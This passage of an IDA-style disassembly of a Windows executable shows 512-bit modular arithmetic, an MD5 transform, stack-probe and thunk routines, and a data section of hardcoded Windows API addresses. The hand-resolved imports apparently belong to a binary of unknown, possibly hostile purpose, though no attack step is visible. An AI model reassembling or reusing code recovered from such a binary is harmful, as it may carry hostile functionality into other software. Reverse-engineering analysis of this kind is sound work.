sub_442524 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_442580 proc near ; CODE XREF: sub_442524+3Dp
; sub_442524+48p
lea edi, dword_44BAE8
mov ecx, 10h
xor eax, eax
rep stosd
lea edi, dword_44BB28
call sub_4425EF
loc_44259A: ; CODE XREF: sub_442580+5Dj
lea edi, dword_44BAE8
mov ecx, 10h
xor eax, eax
loc_4425A7: ; CODE XREF: sub_442580+2Cj
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_4425A7
call sub_442600
bt dword_44BB28, ebx
jnb short loc_4425DC
mov esi, edx
lea edi, dword_44BAE8
xor eax, eax
mov ecx, 10h
loc_4425CB: ; CODE XREF: sub_442580+55j
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_4425CB
call sub_442600
loc_4425DC: ; CODE XREF: sub_442580+3Aj
dec ebx
jns short loc_44259A
mov edi, edx
lea esi, dword_44BAE8
mov ecx, 10h
rep movsd
retn
sub_442580 endp
; =============== S U B R O U T I N E =======================================
sub_4425EF proc near ; CODE XREF: sub_442524+29p
; sub_442580+15p
mov ebx, 1FFh
loc_4425F4: ; CODE XREF: sub_4425EF+Bj
bt [edi], ebx
jb short locret_4425FC
dec ebx
jnz short loc_4425F4
locret_4425FC: ; CODE XREF: sub_4425EF+8j
retn
sub_4425EF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_442600 proc near ; CODE XREF: sub_442580+2Ep
; sub_442580+57p
lea esi, dword_44BAE8
mov edi, [ebp+14h]
mov ecx, 0Fh
loc_44260E: ; CODE XREF: sub_442600+19j
mov eax, [esi+ecx*4]
cmp eax, [edi+ecx*4]
jb short locret_442637
ja short loc_44261B
dec ecx
jns short loc_44260E
loc_44261B: ; CODE XREF: sub_442600+16j
mov esi, [ebp+14h]
lea edi, dword_44BAE8
xor eax, eax
mov ecx, 10h
loc_44262B: ; CODE XREF: sub_442600+35j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_44262B
locret_442637: ; CODE XREF: sub_442600+14j
retn
sub_442600 endp
; =============== S U B R O U T I N E =======================================
sub_442638 proc near ; CODE XREF: sub_442689+32p
; sub_442689+50p ...
mov eax, ebx
and eax, ecx
push ebx
not ebx
and ebx, edx
or eax, ebx
pop ebx
retn
sub_442638 endp
; =============== S U B R O U T I N E =======================================
sub_442645 proc near ; CODE XREF: sub_442689+219p
; sub_442689+238p ...
mov eax, ebx
and eax, edx
push edx
not edx
and edx, ecx
or eax, edx
pop edx
retn
sub_442645 endp
; =============== S U B R O U T I N E =======================================
sub_442652 proc near ; CODE XREF: sub_442689+420p
; sub_442689+43Fp ...
mov eax, ebx
xor eax, ecx
xor eax, edx
retn
sub_442652 endp
; =============== S U B R O U T I N E =======================================
sub_442659 proc near ; CODE XREF: sub_442689+627p
; sub_442689+645p ...
mov eax, edx
not eax
or eax, ebx
xor eax, ecx
retn
sub_442659 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442662 proc near ; CODE XREF: sub_43C2C0+73p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov dword ptr [edi], 67452301h
mov dword ptr [edi+4], 0EFCDAB89h
mov dword ptr [edi+8], 98BADCFEh
mov dword ptr [edi+0Ch], 10325476h
popa
pop ebp
retn 4
sub_442662 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442689 proc near ; CODE XREF: sub_43C2C0+8Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [edi]
mov dword_44BB68, eax
mov eax, [edi+4]
mov dword_44BB6C, eax
mov eax, [edi+8]
mov dword_44BB70, eax
mov eax, [edi+0Ch]
mov dword_44BB74, eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442638
add eax, [edi]
add eax, [esi]
add eax, 0D76AA478h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442638
add eax, [edi+0Ch]
add eax, [esi+4]
add eax, 0E8C7B756h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442638
add eax, [edi+8]
add eax, [esi+8]
add eax, 242070DBh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442638
add eax, [edi+4]
add eax, [esi+0Ch]
add eax, 0C1BDCEEEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442638
add eax, [edi]
add eax, [esi+10h]
add eax, 0F57C0FAFh
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442638
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A8304613h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442638
add eax, [edi+4]
add eax, [esi+1Ch]
add eax, 0FD469501h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442638
add eax, [edi]
add eax, [esi+20h]
add eax, 698098D8h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442638
add eax, [edi+0Ch]
add eax, [esi+24h]
add eax, 8B44F7AFh
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442638
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFFF5BB1h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442638
add eax, [edi+4]
add eax, [esi+2Ch]
add eax, 895CD7BEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442638
add eax, [edi]
add eax, [esi+30h]
add eax, 6B901122h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442638
add eax, [edi+0Ch]
add eax, [esi+34h]
add eax, 0FD987193h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442638
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0A679438Eh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442638
add eax, [edi+4]
add eax, [esi+3Ch]
add eax, 49B40821h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442645
add eax, [edi]
add eax, [esi+4]
add eax, 0F61E2562h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442645
add eax, [edi+0Ch]
add eax, [esi+18h]
add eax, 0C040B340h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442645
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 265E5A51h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442645
add eax, [edi+4]
add eax, [esi]
add eax, 0E9B6C7AAh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442645
add eax, [edi]
add eax, [esi+14h]
add eax, 0D62F105Dh
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442645
add eax, [edi+0Ch]
add eax, [esi+28h]
add eax, 2441453h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442645
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 0D8A1E681h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442645
add eax, [edi+4]
add eax, [esi+10h]
add eax, 0E7D3FBC8h
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442645
add eax, [edi]
add eax, [esi+24h]
add eax, 21E1CDE6h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442645
add eax, [edi+0Ch]
add eax, [esi+38h]
add eax, 0C33707D6h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442645
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0F4D50D87h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442645
add eax, [edi+4]
add eax, [esi+20h]
add eax, 455A14EDh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442645
add eax, [edi]
add eax, [esi+34h]
add eax, 0A9E3E905h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442645
add eax, [edi+0Ch]
add eax, [esi+8]
add eax, 0FCEFA3F8h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442645
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 676F02D9h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442645
add eax, [edi+4]
add eax, [esi+30h]
add eax, 8D2A4C8Ah
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442652
add eax, [edi]
add eax, [esi+14h]
add eax, 0FFFA3942h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442652
add eax, [edi+0Ch]
add eax, [esi+20h]
add eax, 8771F681h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442652
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 6D9D6122h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442652
add eax, [edi+4]
add eax, [esi+38h]
add eax, 0FDE5380Ch
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442652
add eax, [edi]
add eax, [esi+4]
add eax, 0A4BEEA44h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442652
add eax, [edi+0Ch]
add eax, [esi+10h]
add eax, 4BDECFA9h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442652
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 0F6BB4B60h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442652
add eax, [edi+4]
add eax, [esi+28h]
add eax, 0BEBFBC70h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442652
add eax, [edi]
add eax, [esi+34h]
add eax, 289B7EC6h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442652
add eax, [edi+0Ch]
add eax, [esi]
add eax, 0EAA127FAh
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442652
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0D4EF3085h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442652
add eax, [edi+4]
add eax, [esi+18h]
add eax, 4881D05h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442652
add eax, [edi]
add eax, [esi+24h]
add eax, 0D9D4D039h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442652
add eax, [edi+0Ch]
add eax, [esi+30h]
add eax, 0E6DB99E5h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442652
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 1FA27CF8h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442652
add eax, [edi+4]
add eax, [esi+8]
add eax, 0C4AC5665h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442659
add eax, [edi]
add eax, [esi]
add eax, 0F4292244h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442659
add eax, [edi+0Ch]
add eax, [esi+1Ch]
add eax, 432AFF97h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442659
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0AB9423A7h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442659
add eax, [edi+4]
add eax, [esi+14h]
add eax, 0FC93A039h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442659
add eax, [edi]
add eax, [esi+30h]
add eax, 655B59C3h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442659
add eax, [edi+0Ch]
add eax, [esi+0Ch]
add eax, 8F0CCC92h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442659
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFEFF47Dh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442659
add eax, [edi+4]
add eax, [esi+4]
add eax, 85845DD1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442659
add eax, [edi]
add eax, [esi+20h]
add eax, 6FA87E4Fh
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442659
add eax, [edi+0Ch]
add eax, [esi+3Ch]
add eax, 0FE2CE6E0h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442659
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A3014314h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442659
add eax, [edi+4]
add eax, [esi+34h]
add eax, 4E0811A1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_442659
add eax, [edi]
add eax, [esi+10h]
add eax, 0F7537E82h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_442659
add eax, [edi+0Ch]
add eax, [esi+2Ch]
add eax, 0BD3AF235h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_442659
add eax, [edi+8]
add eax, [esi+8]
add eax, 2AD7D2BBh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_442659
add eax, [edi+4]
add eax, [esi+24h]
add eax, 0EB86D391h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov eax, dword_44BB68
add [edi], eax
mov eax, dword_44BB6C
add [edi+4], eax
mov eax, dword_44BB70
add [edi+8], eax
mov eax, dword_44BB74
add [edi+0Ch], eax
popa
pop ebp
xor eax, eax
retn 8
sub_442689 endp
; =============== S U B R O U T I N E =======================================
sub_442ED4 proc near ; CODE XREF: sub_442EF1+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_442ED5: ; CODE XREF: sub_442ED4+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_442ED5
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_442ED4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_442EF1 proc near ; CODE XREF: sub_43D058+42p
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_442F21
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_442ED4
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_442F21: ; CODE XREF: sub_442EF1+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_442EF1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_442F30 proc near ; CODE XREF: .text:004381BAp
; DATA XREF: .data:off_44A000o
xor eax, eax
inc eax
retn 0Ch
sub_442F30 endp
; ---------------------------------------------------------------------------
align 4
push eax
fnstcw word ptr [esp]
mov eax, [esp]
btr dword ptr [esp], 8
or word ptr [esp], 200h
; START OF FUNCTION CHUNK FOR sub_442F5B
loc_442F4A: ; CODE XREF: sub_442F5B+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
loc_442F4E: ; CODE XREF: .text:00442F59j
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_442F5B
; ---------------------------------------------------------------------------
push eax
fnstcw word ptr [esp]
pop eax
jmp short loc_442F4E
; =============== S U B R O U T I N E =======================================
sub_442F5B proc near ; CODE XREF: .text:loc_4381A7p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00442F4A SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_442F4A
sub_442F5B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_442F6C proc near ; CODE XREF: sub_43858C+8p
; sub_4393B1+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_442F6D: ; CODE XREF: sub_442F6C+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_442F6D
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_442F6C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_442F8C proc near ; CODE XREF: sub_43858C+243p
; sub_43858C+5A7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_442F8C endp
; ---------------------------------------------------------------------------
align 4
jmp ds:dword_44C0AC
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_442FC4 proc near ; CODE XREF: sub_43825C+10p
jmp ds:dword_44C0B0
sub_442FC4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_442FD0 proc near ; CODE XREF: sub_438080+13p
jmp ds:dword_44C0B4
sub_442FD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_442FDC proc near ; CODE XREF: sub_4381C3+33p
; sub_4381C3+45p ...
jmp ds:dword_44C0C0
sub_442FDC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_442FE8 proc near ; CODE XREF: sub_4381C3+Bp
; sub_4381C3+17p ...
jmp ds:dword_44C0C4
sub_442FE8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; ---------------------------------------------------------------------------
jmp ds:dword_44C0C8
; ---------------------------------------------------------------------------
align 10h
jmp ds:dword_44C0CC
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44300C proc near ; CODE XREF: sub_43825C+4Ep
; sub_43825C+87p
jmp ds:dword_44C0D0
sub_44300C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_443018 proc near ; CODE XREF: .text:00438186p
jmp ds:dword_44C0D4
sub_443018 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_443024 proc near ; CODE XREF: sub_4381C3+71p
; sub_4381C3+86p
jmp ds:dword_44C0D8
sub_443024 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_443030 proc near ; CODE XREF: sub_43825C+9Ep
jmp ds:dword_44C0DC
sub_443030 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
_text ends
; Section 5. (virtual address 00044000)
; Virtual size : 00005BD8 ( 23512.)
; Section size in file : 00005BD8 ( 23512.)
; Offset to raw data for section: 00044000
; Flags C0000080: Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
_bss segment para public 'BSS' use32
assume cs:_bss
;org 444000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_444000 dd 77E77EF1h ; DATA XREF: sub_43A105+130w
; sub_43C434+Dr
dword_444004 dd 77D46254h ; DATA XREF: sub_439DDE+12Aw
; sub_43F6E3+15r ...
dword_444008 dd 77E73628h ; DATA XREF: sub_43A105+A4w
; sub_43AF47+47Ar ...
dword_44400C dd 77E79924h ; DATA XREF: sub_43A105+168w
; sub_43C434+3Ar
dword_444010 dd 77E778C5h ; DATA XREF: sub_43A105+424w
; sub_43CE60+1Ar ...
dword_444014 dd 77D4702Fh ; DATA XREF: sub_4393B1+5Ar
; sub_4393B1+121r ...
dword_444018 dd 0 ; DATA XREF: sub_439B7B+F3w
; sub_44006A+177r
dword_44401C dd 76C693F0h ; DATA XREF: sub_43969E+51w
; sub_44029C+1B7r
dword_444020 dd 73D9E65Ch ; DATA XREF: sub_43858C+2A5r
; sub_43858C+3B2r ...
dword_444024 dd 0 ; DATA XREF: sub_43BA75+1EFr
; sub_43C073+F4w
dword_444028 dd 77E78B82h ; DATA XREF: sub_43A105+1D8w
; sub_43AF47+7Dr ...
dword_44402C dd 77F82D5Ch ; DATA XREF: sub_43A105+280w
; sub_43C2C0+59r
dword_444030 dd 73D9ADFAh ; DATA XREF: sub_43BD90+23Cr
; sub_43BD90+269r ...
dword_444034 dd 77E6AD34h ; DATA XREF: sub_43A105+1BCw
dword_444038 dd 77121651h ; DATA XREF: sub_43858C+17r
; sub_4394DD+9Ew ...
dword_44403C dd 77DD23D7h ; DATA XREF: sub_43C1C6+66w
; sub_43C3CE+47r
dword_444040 dd 77D47EC7h ; DATA XREF: sub_439DDE+1EEw
dword_444044 dd 77121680h ; DATA XREF: sub_43858C+20Fr
; sub_43858C+229r ...
dword_444048 dd 77D5264Ah ; DATA XREF: sub_439992+2Dr
; sub_439DDE+309w
dword_44404C dd 0 ; DATA XREF: sub_439B7B+96w
; sub_43F9F6+535r
dword_444050 dd 77D441F2h ; DATA XREF: sub_439DDE+BAw
; sub_43EC0A+308r
dword_444054 dd 73D9BBAAh ; DATA XREF: sub_439B7B+217r
; sub_43AF47+369r ...
align 10h
dword_444060 dd 0 ; DATA XREF: sub_43B622+F2r
; sub_43C5EA+3C8r ...
dd 3E7h dup(0)
dword_445000 dd 77E78C17h ; DATA XREF: sub_4399CB+DCr
; sub_43A105+344w
dword_445004 dd 77E75E67h ; DATA XREF: sub_43A105+2D4w
; sub_43BA75+2B3r ...
dword_445008 dd 77E79908h ; DATA XREF: sub_43A5C3+372w
; sub_43C507+18r ...
dword_44500C dd 77E62D7Ah ; DATA XREF: sub_43A105+34w
dword_445010 dd 77D5C2CCh ; DATA XREF: sub_439DDE+D6w
; sub_43F6E3+32r
align 10h
dword_445020 dd 40h dup(0) ; DATA XREF: sub_439B7B+A6o
; sub_43B523+66o ...
dword_445120 dd 77C724ACh ; DATA XREF: sub_43B4B3+69w
; sub_43EC0A+19Cr
align 10h
dword_445130 dd 0 ; DATA XREF: sub_43B622:loc_43B642r
; sub_43B622+5Ew ...
dd 3E7h dup(0)
dword_4460D0 dd 771C6F69h ; DATA XREF: sub_43B3CC+82w
; sub_43D6B1+44r
dword_4460D4 dd 77E6869Bh ; DATA XREF: sub_4399CB+F6r
; sub_43A105+360w
dword_4460D8 dd 771C16BAh ; DATA XREF: sub_43B3CC+9Ew
dword_4460DC dd 77D4DC11h ; DATA XREF: sub_439DDE+20Aw
; sub_43EC0A+1D5r
dword_4460E0 dd 77E684C6h ; DATA XREF: sub_43A105+14Cw
; sub_43AF47+44Cr
align 10h
dword_4460F0 dd 41h dup(0) ; DATA XREF: sub_439B7B+52o
; sub_439B7B+E2o ...
dword_4461F4 dd 73D9E660h ; DATA XREF: sub_43EF62+1B9w
; sub_440F46+4C8r ...
dword_4461F8 dd 77E7A5FDh ; DATA XREF: sub_4394DD+44r
; sub_4394DD+60r ...
align 10h
byte_446200 db 0 ; DATA XREF: sub_43B622+FBr
; sub_43C5EA+3D1r ...
align 4
dd 0F9h dup(0)
dword_4465E8 dd 77E79F93h ; DATA XREF: sub_4394DD+Dr
; sub_43969E+Dr ...
dword_4465EC dd 77DD22EAh ; DATA XREF: sub_43C1C6+4Aw
; sub_43C3CE+26r
dword_4465F0 dd 77DDACABh ; DATA XREF: sub_4397A3+23r
; sub_43C1C6+A1w
dword_4465F4 dd 77D4456Bh ; DATA XREF: sub_439DDE+F2w
dword_4465F8 dd 77E7513Ch ; DATA XREF: sub_43A105+4B6w
; sub_43F189+12Br
dword_4465FC dd 77D49951h ; DATA XREF: sub_439DDE+27Aw
; sub_43DB8B+F1Fr ...
dword_446600 dd 77E704FCh ; DATA XREF: sub_439B7B+16r
; sub_43A105+3ECw ...
dword_446604 dd 76C69891h ; DATA XREF: sub_44029C+18Er
; sub_440D4B+54w
dword_446608 dd 0 ; DATA XREF: sub_43C1AF+3o
; sub_43C1AF+Er ...
dword_44660C dd 77E78EAAh ; DATA XREF: sub_43A105+2F0w
; sub_43D357+4Ar ...
dword_446610 dd 100E0h ; DATA XREF: sub_43EC0A+24Dw
dword_446614 dd 0EE00h ; DATA XREF: sub_43EC0A+273w
; sub_44029C:loc_440459r
dword_446618 dd 77D46F5Bh ; DATA XREF: sub_439DDE+82w
; sub_43EBEC+13r
dword_44661C dd 77E79A45h ; DATA XREF: sub_43A105+248w
; sub_43D9B8+186r ...
